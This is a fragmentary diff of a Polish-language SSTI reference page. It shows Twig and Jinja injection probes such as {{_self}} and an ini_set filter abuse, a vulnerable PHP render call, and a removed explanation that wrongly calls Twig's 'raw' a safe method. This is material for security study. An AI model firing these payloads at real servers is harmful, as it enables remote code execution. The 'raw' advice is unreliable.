* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
-* `{{1/0}} = Błąd`
-* `{{foobar}} Nic`
+* `{{1/0}} = Error`
+* `{{foobar}} Nothing`
```python
#Get Info
{{_self}} #(Ref. to current application)
@@ -575,30 +461,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
{{["error_reporting", "0"]|sort("ini_set")}}
```
**Twig - Format szablonu**
-
-Twig jest popularnym językiem szablonów używanym w wielu frameworkach internetowych, takich jak Symfony czy Laravel. Jest to język oparty na składni szablonów, który umożliwia programistom tworzenie dynamicznych stron internetowych. Twig jest bezpieczny i chroni przed atakami takimi jak Server-Side Template Injection (SSTI).
-
-**Server-Side Template Injection (SSTI) w Twig**
-
-Server-Side Template Injection (SSTI) to technika ataku, która polega na wstrzykiwaniu kodu szablonu po stronie serwera. W przypadku Twig, SSTI może wystąpić, gdy nieprawidłowo walidowane dane użytkownika są wstrzykiwane bezpośrednio do szablonu Twig. Atakujący może wykorzystać tę lukę, aby wykonać kod na serwerze i uzyskać dostęp do poufnych danych lub zdalnie kontrolować aplikację.
-
-**Przykład SSTI w Twig**
-
-Poniżej przedstawiono przykład kodu Twig, który jest podatny na SSTI:
-
-```twig
-{{ user_input }}
-```
-
-W powyższym przykładzie `user_input` jest bezpośrednio wstrzykiwane do szablonu Twig. Jeśli atakujący dostarczy złośliwy kod jako `user_input`, może to prowadzić do wykonania niebezpiecznych operacji na serwerze.
-
-**Zapobieganie SSTI w Twig**
-
-Aby zapobiec atakom SSTI w Twig, należy zawsze prawidłowo walidować i filtrować dane użytkownika przed ich wstrzykiwaniem do szablonów. Należy unikać bezpośredniego wstrzykiwania niezaufanych danych do szablonów i zawsze używać bezpiecznych metod dostarczanych przez Twig, takich jak `escape` lub `raw`.
-
-**Podsumowanie**
-
-Server-Side Template Injection (SSTI) to poważna luka w zabezpieczeniach, która może prowadzić do poważnych konsekwencji. W przypadku Twig, należy zawsze dbać o prawidłowe walidowanie i filtrowanie danych użytkownika, aby zapobiec atakom SSTI.
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
@@ -617,7 +479,7 @@ array("first_name" => $user.first_name)
### Plates (PHP)
-Plates to silnik szablonów natywny dla PHP, czerpiący inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, co czyni go intuicyjnym dla programistów PHP.
+Plates to silnik szablonów wbudowany w PHP, czerpiący inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, co czyni go intuicyjnym dla programistów PHP.
Kontroler:
```php
@@ -646,11 +508,12 @@ Szablon układu: